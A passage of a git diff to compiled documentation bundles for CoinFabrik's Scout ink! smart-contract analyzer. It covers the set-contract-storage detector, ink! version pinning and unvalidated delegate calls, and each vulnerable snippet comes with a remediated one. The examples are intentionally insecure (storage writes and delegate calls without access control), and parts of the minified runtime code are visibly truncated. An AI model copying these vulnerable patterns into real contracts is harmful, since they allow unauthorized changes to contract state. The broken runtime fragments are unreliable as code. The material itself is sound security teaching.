underflow",permalink:"/scout/docs/detectors/integer-overflow-or-underflow"},next:{title:"Reentrancy",permalink:"/scout/docs/detectors/reentrancy"}},i={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:l},p="wrapper";function d(e){let{components:t,...r}=e;return(0,o.kt)(p,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"set-contract-storage"},"Set contract storage"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Checks for calls to env::set_contract_storage."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"Functions using keys as variables without proper access control or input sanitation can allow users to perform changes in arbitrary memory locations."),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"Only check the function call, so false positives could result."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"fn set_contract_storage(\n &mut self,\n user_input_key: [u8; 68],\n user_input_data: u128,\n) -> Result<()> {\n env::set_contract_storage(&user_input_key, &user_input_data);\n Ok(())\n}\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"fn set_contract_storage(\n &mut self,\n user_input_key: [u8; 68],\n user_input_data: u128,\n) -> Result<()> {\n if self.env().caller() == self.owner {\n env::set_contract_storage(&user_input_key, &user_input_data);\n Ok(())\n } else {\n Err(Error::UserNotOwner)\n }\n}\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/set-contract-storage"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[5388],{9613:(e,t,r)=>{r.d(t,{Zo:()=>u,kt:()=>f});var n=r(9496);function o(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function a(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function s(e){for(var t=1;t=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var i=n.createContext({}),l=function(e){var t=n.useContext(i),r=t;return e&&(r="function"==typeof e?e(t):s(s({},t),e)),r},u=function(e){var t=l(e.components);return n.createElement(i.Provider,{value:t},e.children)},p="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var r=e.components,o=e.mdxType,a=e.originalType,i=e.parentName,u=c(e,["components","mdxType","originalType","parentName"]),p=l(r),m=o,f=p["".concat(i,".").concat(m)]||p[m]||d[m]||a;return r?n.createElement(f,s(s({ref:t},u),{},{components:r})):n.createElement(f,s({ref:t},u))}));function f(e,t){var r=arguments,o=t&&t.mdxType;if("string"==typeof e||o){var a=r.length,s=new Array(a);s[0]=m;var c={};for(var i in t)hasOwnProperty.call(t,i)&&(c[i]=t[i]);c.originalType=e,c[p]="string"==typeof e?e:o,s[1]=c;for(var l=2;l{r.r(t),r.d(t,{assets:()=>i,contentTitle:()=>s,default:()=>d,frontMatter:()=>a,metadata:()=>c,toc:()=>l});var n=r(2564),o=(r(9496),r(9613));const a={},s="Set contract storage",c={unversionedId:"detectors/set-contract-storage",id:"detectors/set-contract-storage",title:"Set contract storage",description:"What it does",source:"@site/docs/detectors/2-set-contract-storage.md",sourceDirName:"detectors",slug:"/detectors/set-contract-storage",permalink:"/scout/docs/detectors/set-contract-storage",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/detectors/2-set-contract-storage.md",tags:[],version:"current",sidebarPosition:2,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Integer overflow or underflow",permalink:"/scout/docs/detectors/integer-overflow-or-underflow"},next:{title:"Reentrancy",permalink:"/scout/docs/detectors/reentrancy"}},i={},l=[{value:"What it does",id:"what-it-does",level:3},{value:"Why is this bad?",id:"why-is-this-bad",level:3},{value:"Known problems",id:"known-problems",level:3},{value:"Example",id:"example",level:3},{value:"Implementation",id:"implementation",level:3}],u={toc:l},p="wrapper";function d(e){let{components:t,...r}=e;return(0,o.kt)(p,(0,n.Z)({},u,r,{components:t,mdxType:"MDXLayout"}),(0,o.kt)("h1",{id:"set-contract-storage"},"Set contract storage"),(0,o.kt)("h3",{id:"what-it-does"},"What it does"),(0,o.kt)("p",null,"Checks for calls to ",(0,o.kt)("inlineCode",{parentName:"p"},"env::set_contract_storage"),"."),(0,o.kt)("h3",{id:"why-is-this-bad"},"Why is this bad?"),(0,o.kt)("p",null,"Functions using keys as variables without proper access control or input sanitization can allow users to perform changes in arbitrary memory locations."),(0,o.kt)("h3",{id:"known-problems"},"Known problems"),(0,o.kt)("p",null,"Only checks the function call, so false positives could result."),(0,o.kt)("h3",{id:"example"},"Example"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"fn set_contract_storage(\n &mut self,\n user_input_key: [u8; 68],\n user_input_data: u128,\n) -> Result<()> {\n env::set_contract_storage(&user_input_key, &user_input_data);\n Ok(())\n}\n")),(0,o.kt)("p",null,"Use instead:"),(0,o.kt)("pre",null,(0,o.kt)("code",{parentName:"pre",className:"language-rust"},"fn set_contract_storage(\n &mut self,\n user_input_key: [u8; 68],\n user_input_data: u128,\n) -> Result<()> {\n if self.env().caller() == self.owner {\n env::set_contract_storage(&user_input_key, &user_input_data);\n Ok(())\n } else {\n Err(Error::UserNotOwner)\n }\n}\n")),(0,o.kt)("h3",{id:"implementation"},"Implementation"),(0,o.kt)("p",null,"The detector's implementation can be found at ",(0,o.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/set-contract-storage"},"this link"),"."))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/69a002ee.e471a582.js b/assets/js/69a002ee.0e9ddfd4.js similarity index 65% rename from assets/js/69a002ee.e471a582.js rename to assets/js/69a002ee.0e9ddfd4.js index 81f1a908..616892e8 100644 --- a/assets/js/69a002ee.e471a582.js +++ b/assets/js/69a002ee.0e9ddfd4.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2924],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>v});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var s=r.createContext({}),c=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},p=function(e){var t=c(e.components);return r.createElement(s.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=c(n),m=i,v=u["".concat(s,".").concat(m)]||u[m]||d[m]||a;return n?r.createElement(v,o(o({ref:t},p),{},{components:n})):r.createElement(v,o({ref:t},p))}));function v(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=n.length,o=new Array(a);o[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[u]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>d,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var r=n(2564),i=(n(9496),n(9613));const a={},o="Ink! version",l={unversionedId:"vulnerabilities/ink-version",id:"vulnerabilities/ink-version",title:"Ink! version",description:"Description",source:"@site/docs/vulnerabilities/20-ink-version.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/ink-version",permalink:"/scout/docs/vulnerabilities/ink-version",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/20-ink-version.md",tags:[],version:"current",sidebarPosition:20,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Iterators over indexing",permalink:"/scout/docs/vulnerabilities/iterators-over-indexing"},next:{title:"Unprotected Set Code Hash",permalink:"/scout/docs/vulnerabilities/unprotected-set-code-hash"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],p={toc:c},u="wrapper";function d(e){let{components:t,...n}=e;return(0,i.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"ink-version"},"Ink! version"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhacement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/ink-version"},(0,i.kt)("inlineCode",{parentName:"a"},"ink-version"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/ink-version/ink-version-1"},(0,i.kt)("inlineCode",{parentName:"a"},"ink-version-1")))),(0,i.kt)("p",null,"Using an old version of ink! can be dangerous, as it may have bugs or security issues. Use the latest version available."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-toml"},'[dependencies]\n ink = { version = "5.0.0", default-features = false }\n')),(0,i.kt)("p",null,"Problems can arise if the version is not updated to the latest available."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/ink-version/ink-version-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Use the latest stable version available."),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/ink-version/ink-version-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-103/"},"Floating Pragma")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-102/"},"outdated Compiler Version"))))}d.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[2924],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>v});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function o(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var s=r.createContext({}),c=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):o(o({},t),e)),n},p=function(e){var t=c(e.components);return r.createElement(s.Provider,{value:t},e.children)},u="mdxType",d={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},m=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,p=l(e,["components","mdxType","originalType","parentName"]),u=c(n),m=i,v=u["".concat(s,".").concat(m)]||u[m]||d[m]||a;return n?r.createElement(v,o(o({ref:t},p),{},{components:n})):r.createElement(v,o({ref:t},p))}));function v(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=n.length,o=new Array(a);o[0]=m;var l={};for(var s in t)hasOwnProperty.call(t,s)&&(l[s]=t[s]);l.originalType=e,l[u]="string"==typeof e?e:i,o[1]=l;for(var c=2;c{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>o,default:()=>d,frontMatter:()=>a,metadata:()=>l,toc:()=>c});var r=n(2564),i=(n(9496),n(9613));const a={},o="Ink! version",l={unversionedId:"vulnerabilities/ink-version",id:"vulnerabilities/ink-version",title:"Ink! version",description:"Description",source:"@site/docs/vulnerabilities/20-ink-version.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/ink-version",permalink:"/scout/docs/vulnerabilities/ink-version",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/20-ink-version.md",tags:[],version:"current",sidebarPosition:20,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Iterators over indexing",permalink:"/scout/docs/vulnerabilities/iterators-over-indexing"},next:{title:"Unprotected Set Code Hash",permalink:"/scout/docs/vulnerabilities/unprotected-set-code-hash"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],p={toc:c},u="wrapper";function d(e){let{components:t,...n}=e;return(0,i.kt)(u,(0,r.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"ink-version"},"Ink! version"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Best practices")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/ink-version"},(0,i.kt)("inlineCode",{parentName:"a"},"ink-version"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/ink-version/ink-version-1"},(0,i.kt)("inlineCode",{parentName:"a"},"ink-version-1")))),(0,i.kt)("p",null,"Using an old version of ink! can be dangerous, as it may have bugs or security issues. Use the latest version available."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-toml"},'[dependencies]\n ink = { version = "5.0.0", default-features = false }\n')),(0,i.kt)("p",null,"Problems can arise if the version is not updated to the latest available."),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/ink-version/ink-version-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Use the latest stable version available."),(0,i.kt)("p",null,"The remediated code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/ink-version/ink-version-1/remediated-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-103/"},"Floating Pragma")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-102/"},"outdated Compiler Version"))))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/6abe9605.faa931e0.js b/assets/js/6abe9605.ffade18e.js similarity index 96% rename from assets/js/6abe9605.faa931e0.js rename to assets/js/6abe9605.ffade18e.js index 4d8f5424..1b8a4183 100644 --- a/assets/js/6abe9605.faa931e0.js +++ b/assets/js/6abe9605.ffade18e.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[3372],{9613:(e,t,a)=>{a.d(t,{Zo:()=>u,kt:()=>g});var n=a(9496);function l(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function r(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),a.push.apply(a,n)}return a}function i(e){for(var t=1;t=0||(l[a]=e[a]);return l}(e,t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,a)&&(l[a]=e[a])}return l}var s=n.createContext({}),c=function(e){var t=n.useContext(s),a=t;return e&&(a="function"==typeof e?e(t):i(i({},t),e)),a},u=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var a=e.components,l=e.mdxType,r=e.originalType,s=e.parentName,u=o(e,["components","mdxType","originalType","parentName"]),d=c(a),m=l,g=d["".concat(s,".").concat(m)]||d[m]||p[m]||r;return a?n.createElement(g,i(i({ref:t},u),{},{components:a})):n.createElement(g,i({ref:t},u))}));function g(e,t){var a=arguments,l=t&&t.mdxType;if("string"==typeof e||l){var r=a.length,i=new Array(r);i[0]=m;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[d]="string"==typeof e?e:l,i[1]=o;for(var c=2;c{a.r(t),a.d(t,{assets:()=>s,contentTitle:()=>i,default:()=>p,frontMatter:()=>r,metadata:()=>o,toc:()=>c});var n=a(2564),l=(a(9496),a(9613));const r={},i="Delegate call",o={unversionedId:"vulnerabilities/delegate-call",id:"vulnerabilities/delegate-call",title:"Delegate call",description:"Description",source:"@site/docs/vulnerabilities/11-delegate-call.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/delegate-call",permalink:"/scout/docs/vulnerabilities/delegate-call",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/11-delegate-call.md",tags:[],version:"current",sidebarPosition:11,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Divide before multiply",permalink:"/scout/docs/vulnerabilities/divide-before-multiply"},next:{title:"Zero or test address",permalink:"/scout/docs/vulnerabilities/zero-or-test-address"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:c},d="wrapper";function p(e){let{components:t,...a}=e;return(0,l.kt)(d,(0,n.Z)({},u,a,{components:t,mdxType:"MDXLayout"}),(0,l.kt)("h1",{id:"delegate-call"},"Delegate call"),(0,l.kt)("h2",{id:"description"},"Description"),(0,l.kt)("ul",null,(0,l.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,l.kt)("inlineCode",{parentName:"li"},"Authorization")),(0,l.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,l.kt)("inlineCode",{parentName:"li"},"Critical")),(0,l.kt)("li",{parentName:"ul"},"Detectors: ",(0,l.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/delegate-call"},(0,l.kt)("inlineCode",{parentName:"a"},"delegate-call"))),(0,l.kt)("li",{parentName:"ul"},"Test Cases: ",(0,l.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/delegate-call/delegate-call-1"},(0,l.kt)("inlineCode",{parentName:"a"},"delegate-call-1")))),(0,l.kt)("p",null,"Delegate calls can introduce security vulnerabilities if not handled carefully. The main idea is that delegate calls to contracts passed as arguments can be used to change the expected behavior of the contract, leading to potential attacks. It is important to validate and restrict delegate calls to trusted contracts, implement proper access control mechanisms, and carefully review external contracts to prevent unauthorized modifications, unexpected behavior, and potential exploits. By following these best practices, developers can enhance the security of their smart contracts and mitigate the risks associated with delegate calls."),(0,l.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,l.kt)("p",null,"Consider the following ",(0,l.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message)]\npub fn delegate_call(&mut self, target: Hash, argument: Balance) {\n let selector_bytes = [0x0, 0x0, 0x0, 0x0];\n let result: T = build_call::()\n .delegate(target)\n .exec_input(\n ExecutionInput::new(Selector::new(selector_bytes))\n .push_arg(argument)\n )\n .returns::()\n .invoke();\n}\n")),(0,l.kt)("p",null,"In this example, the ",(0,l.kt)("inlineCode",{parentName:"p"},"delegate_call")," function allows for delegated calls to contracts passed as arguments without any validation or access control. This creates a vulnerability as it enables potential attackers to pass a malicious contract as the target, leading to unauthorized modifications or unexpected behavior in the smart contract."),(0,l.kt)("p",null,"The vulnerable code example can be found ",(0,l.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/delegate-call/delegate-call-1/vulnerable-example"},(0,l.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,l.kt)("h2",{id:"remediation"},"Remediation"),(0,l.kt)("p",null,"In the following remediated example, the vulnerability is addressed by removing the ability to pass the target contract as an argument in the ",(0,l.kt)("inlineCode",{parentName:"p"},"delegate_call")," function. Instead, the target contract address is stored in a storage variable ",(0,l.kt)("inlineCode",{parentName:"p"},"self.target"),", which can only be modified by calling the ",(0,l.kt)("inlineCode",{parentName:"p"},"set_target")," function. The ",(0,l.kt)("inlineCode",{parentName:"p"},"set_target")," function includes access control logic, allowing only the contract's administrator to update the target contract address. This remediation ensures that only trusted and authorized contracts can be delegated to, preventing the vulnerability associated with unvalidated and uncontrolled delegate calls."),(0,l.kt)("pre",null,(0,l.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(message)]\n pub fn delegate_call(&mut self, argument: Balance) {\n let selector_bytes = [0x0, 0x0, 0x0, 0x0];\n let result: T = build_call::()\n .delegate(self.target)\n .exec_input(\n ExecutionInput::new(Selector::new(selector_bytes))\n .push_arg(argument)\n )\n .returns::()\n .invoke();\n }\n\n #[ink::message]\n pub fn set_target(&mut self, new_target: Hash) -> Result<(), Error> {\n if self.admin != self.env().caller() {\n Err(Error::Unauthorized)\n } else {\n self.target = new_target;\n Ok(())\n }\n }\n\n")),(0,l.kt)("p",null,"The remediated code example can be found ",(0,l.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/delegate-call/delegate-call-1/remediated-example"},(0,l.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,l.kt)("h2",{id:"references"},"References"),(0,l.kt)("ul",null,(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://solidity-by-example.org/delegatecall/"},"https://solidity-by-example.org/delegatecall/")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://solidity-by-example.org/hacks/delegatecall/"},"https://solidity-by-example.org/hacks/delegatecall/")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://blog.sigmaprime.io/solidity-security.html#delegatecall"},"https://blog.sigmaprime.io/solidity-security.html#delegatecall")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-112"},"SWC-112")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://ethernaut.openzeppelin.com/level/0x9451961b7Aea1Df57bc20CC68D72f662241b5493"},"Ethernaut: Delegation")),(0,l.kt)("li",{parentName:"ul"},(0,l.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#controlled-delegatecall"},"Slither: Delegatecall"))))}p.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[3372],{9613:(e,t,a)=>{a.d(t,{Zo:()=>u,kt:()=>g});var n=a(9496);function l(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function r(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),a.push.apply(a,n)}return a}function i(e){for(var t=1;t=0||(l[a]=e[a]);return l}(e,t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);for(n=0;n=0||Object.prototype.propertyIsEnumerable.call(e,a)&&(l[a]=e[a])}return l}var s=n.createContext({}),c=function(e){var t=n.useContext(s),a=t;return e&&(a="function"==typeof e?e(t):i(i({},t),e)),a},u=function(e){var t=c(e.components);return n.createElement(s.Provider,{value:t},e.children)},d="mdxType",p={inlineCode:"code",wrapper:function(e){var t=e.children;return n.createElement(n.Fragment,{},t)}},m=n.forwardRef((function(e,t){var a=e.components,l=e.mdxType,r=e.originalType,s=e.parentName,u=o(e,["components","mdxType","originalType","parentName"]),d=c(a),m=l,g=d["".concat(s,".").concat(m)]||d[m]||p[m]||r;return a?n.createElement(g,i(i({ref:t},u),{},{components:a})):n.createElement(g,i({ref:t},u))}));function g(e,t){var a=arguments,l=t&&t.mdxType;if("string"==typeof e||l){var r=a.length,i=new Array(r);i[0]=m;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[d]="string"==typeof e?e:l,i[1]=o;for(var c=2;c{a.r(t),a.d(t,{assets:()=>s,contentTitle:()=>i,default:()=>p,frontMatter:()=>r,metadata:()=>o,toc:()=>c});var n=a(2564),l=(a(9496),a(9613));const r={},i="Delegate call",o={unversionedId:"vulnerabilities/delegate-call",id:"vulnerabilities/delegate-call",title:"Delegate call",description:"Description",source:"@site/docs/vulnerabilities/11-delegate-call.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/delegate-call",permalink:"/scout/docs/vulnerabilities/delegate-call",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/11-delegate-call.md",tags:[],version:"current",sidebarPosition:11,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Divide before multiply",permalink:"/scout/docs/vulnerabilities/divide-before-multiply"},next:{title:"Zero or test address",permalink:"/scout/docs/vulnerabilities/zero-or-test-address"}},s={},c=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],u={toc:c},d="wrapper";function p(e){let{components:t,...a}=e;return(0,l.kt)(d,(0,n.Z)({},u,a,{components:t,mdxType:"MDXLayout"}),(0,l.kt)("h1",{id:"delegate-call"},"Delegate call"),(0,l.kt)("h2",{id:"description"},"Description"),(0,l.kt)("ul",null,(0,l.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,l.kt)("inlineCode",{parentName:"li"},"Authorization")),(0,l.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,l.kt)("inlineCode",{parentName:"li"},"Critical")),(0,l.kt)("li",{parentName:"ul"},"Detectors: ",(0,l.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/delegate-call"},(0,l.kt)("inlineCode",{parentName:"a"},"delegate-call"))),(0,l.kt)("li",{parentName:"ul"},"Test Cases: ",(0,l.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/delegate-call/delegate-call-1"},(0,l.kt)("inlineCode",{parentName:"a"},"delegate-call-1")))),(0,l.kt)("p",null,"Delegate calls can introduce security vulnerabilities if not handled carefully. The main idea is that delegate calls to contracts passed as arguments can be used to change the expected behavior of the contract, leading to potential attacks. It is important to validate and restrict delegate calls to trusted contracts, implement proper access control mechanisms, and carefully review external contracts to prevent unauthorized modifications, unexpected behavior, and potential exploits. By following these best practices, developers can enhance the security of their smart contracts and mitigate the risks associated with delegate calls."),(0,l.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,l.kt)("p",null,"Consider the following 